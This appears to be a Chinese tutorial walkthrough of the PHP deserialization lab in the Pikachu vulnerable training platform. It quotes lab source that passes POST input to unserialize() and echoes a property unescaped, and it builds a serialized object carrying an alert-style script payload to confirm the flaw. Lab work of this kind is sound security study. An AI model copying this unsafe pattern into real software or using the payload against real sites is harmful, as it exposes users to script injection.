反序列化——pikachu

序列化：为了方便传输和存储数据，将要传输或者存储的对象进行序列化生成字节对象，传到持久化服务器上。

反序列化：从内存中读取序列化后的字节对象，将其转换为所需对象。

PHP序列化函数：serialize()

反序列化函数：unserialize()

看下源码：这里使用POST方式接收数据，并使用unserialize()函数对接收到的数据进行反序列化。

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';


class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}
?>



<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="unserilization.php">PHP反序列化</a>
                </li>
                <li class="active">概述</li>
            </ul>

            <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
               data-content="先把PHP序列化和反序列化搞懂了在来玩">
                点一下提示~
            </a>
        </div>
        <div class="page-content">
            <form method="post">
                <p>这是一个接受序列化数据的api:
                    <input type="text" name="o" />
                    <input type="submit" value="提交">

            </form>
            <?php echo $html;?>


        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->

<?php
include_once $PIKA_ROOT_DIR . 'footer.php';

?>

创建一个对象，名为test，内容为JS代码。

<?php
class S{
	public $test="<script>alert('反序列化')</script>";
}

$s=new S();
$serialize=serialize($s);
echo $serialize
?>

        在输入框输入序列化之后的json对象，利用菜鸟工具，进行序列化，

O:1:"S":1:{s:4:"test";s:38:"<script>alert('反序列化')</script>";}

故此处反序列化漏洞得以验证。